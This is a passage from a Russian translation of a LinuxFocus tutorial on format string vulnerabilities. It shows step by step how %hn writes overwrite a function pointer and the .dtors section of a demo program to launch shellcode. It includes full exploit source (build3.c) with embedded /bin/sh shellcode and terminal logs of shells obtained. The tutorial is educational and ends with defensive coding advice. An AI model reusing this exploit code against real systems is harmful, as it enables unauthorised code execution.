Хитрость в том, что мы знаем, что вызывать, исходя из количества аргументов,
полученных программой. Чтобы запустить эксплоит, мы просто передаем build2
адрес, куда мы хотим писать, и смещение. Нам не надо больше передавать значение,
так как оно вычисляется нашими последовательными вызовами.
Чтобы достичь цели, нам надо сохранять одинаковое распределение памяти
между различными вызовами build2
, а затем vuln
(вот почему мы вызываем функцию build()
, чтобы использовать одинаковый "отпечаток" памяти).:
>>./build2 0xbffff634 3 Calling ./build2 ... adr : -1073744332 (bffff634) val : -1073744172 (bffff6d4) valh: 49151 (bfff) vall: 63188 (f6d4) [6ця⌡4ця⌡%.49143x%3$hn%.14037x%4$hn] (34) Calling ./vuln ... sc = 0xbffff88f adr : -1073744332 (bffff634) val : -1073743729 (bffff88f) valh: 49151 (bfff) vall: 63631 (f88f) [6ця⌡4ця⌡%.49143x%3$hn%.14480x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [6ця⌡4ця⌡000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000 00000000000] (127) after : ptrf() = 0xbffff88f (0xbffff634) Segmentation fault (core dumped)
Почему это не работает? Мы сказали, что должны построить точную копию памяти
между двумя вызовами ... а сами не сделали этого! argv[0]
(имя программы)
поменялось. Наша программа вначале называлась build2
(6 байт),
а затем vuln
(4 байта). Различие в 2 байта, которое в точности
равно значению, которое вы могли заметить в примере выше. Адрес шеллкода при втором
вызове build2
равен sc=0xbffff88f
, однако содержимое
argv[2]
в vuln
дает нам 20xbffff891
: наши 2 байта.
Чтобы решить проблему, достаточно переименовать build2
в что-нибудь
из 4 букв, например, bui2
:
>>cp build2 bui2 >>./bui2 0xbffff634 3 Calling ./bui2 ... adr : -1073744332 (bffff634) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [6ця⌡4ця⌡%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff891 adr : -1073744332 (bffff634) val : -1073743727 (bffff891) valh: 49151 (bfff) vall: 63633 (f891) [6ця⌡4ця⌡%.49143x%3$hn%.14482x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [6ця⌡4ця⌡0000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000 000000000000000] (127) after : ptrf() = 0xbffff891 (0xbffff634) bash$
Опять выиграли: таким способом это работает намного лучше ;-)
Программа запуска оболочки находится в стеке, мы изменили адрес, на который указывал
ptrf
, чтобы он указывал на наш шеллкод. Естественно, такое может произойти только
если стек доступен для выполнения.
Но мы видели, что строки формата позволяют нам производить запись куда угодно:
давайте добавим деструктор в нашу программу в секцию .dtors
:
>>objdump -s -j .dtors vuln vuln: file format elf32-i386 Contents of section .dtors: 80498c0 ffffffff 00000000 ........ >>./bui2 80498c4 3 Calling ./bui2 ... adr : 134518980 (80498c4) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [ЖД%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff894 adr : 134518980 (80498c4) val : -1073743724 (bffff894) valh: 49151 (bfff) vall: 63636 (f894) [ЖД%.49143x%3$hn%.14485x%4$hn] (34) 0 0xbffff86a 1 0xbffff871 2 0xbffff894 3 0xbffff8c2 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [ЖД000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000 0000000000000000] (127) after : ptrf() = 0x80486c4 (0xbffff634) Welcome in "helloWorld" bash$ exit exit >>
Здесь не создается дамп памяти
при выходе из деструктора. Это потому, что
наш шеллкод содержит вызов exit(0)
.
В заключение, как последний подарок, приводим программу build3.c
, которая
также выдает оболочку, но передает данные через переменную окружения:
/* build3.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> char* build(unsigned int addr, unsigned int value, unsigned int where) { //Функция, что и в build.c } int main(int argc, char **argv) { char **env; char **arg; unsigned char *buf; unsigned char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if (argc == 3) { fprintf(stderr, "Calling %s ...\n", argv[0]); buf = build(strtoul(argv[1], NULL, 16), /* адрес */ &shellcode, atoi(argv[2])); /* смещение */ fprintf(stderr, "%d\n", strlen(buf)); fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); arg = (char **) malloc(sizeof(char *) * 3); arg[0]=argv[0]; arg[1]=buf; arg[2]=NULL; env = (char **) malloc(sizeof(char *) * 4); env[0]=&shellcode; env[1]=argv[1]; env[2]=argv[2]; env[3]=NULL; execve(argv[0],arg,env); } else if(argc==2) { fprintf(stderr, "Calling ./vuln ...\n"); fprintf(stderr, "sc = %p\n", environ[0]); buf = build(strtoul(environ[1], NULL, 16), /* адрес */ environ[0], atoi(environ[2])); /* смещение */ fprintf(stderr, "%d\n", strlen(buf)); fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); arg = (char **) malloc(sizeof(char *) * 3); arg[0]=argv[0]; arg[1]=buf; arg[2]=NULL; execve("./vuln",arg,environ); } return 0; }
Опять, так как данное окружение находится в стеке, мы должны заботиться о том, чтобы
не изменять память (т.е. изменять позицию переменных и аргументов).
Имя выполняемого файла должно содержать такое же количество символов, как
и имя уязвимой программы vuln
.
Здесь, мы решили использовать глобальную переменную extern char **environ
, для
установки нужных нам значений:
environ[0]
: содержит шеллкод;
environ[1]
: содержит адрес, куда мы предполагаем произвести запись;
environ[2]
: содержит смещение.
"%s"
, когда вызывается
такая функция как printf()
, syslog()
, ... Если вы действительно
не можете обойтись без этого, вам надо очень тщательно проверять ввод, поступивший от пользователя.
exec*()
),
его поощерение ... также за его статью об ошибках формата, которая, в дополнение нашему
интересу к вопросу, произвела значительную умственную агитацию ;-)
|
Webpages maintained by the LinuxFocus Editor team
© Frйdйric Raynal, Christophe Blaess, Christophe Grenier, FDL LinuxFocus.org Click here to report a fault or send a comment to LinuxFocus |
Translation information:
|
2001-10-26, generated by lfparser version 2.17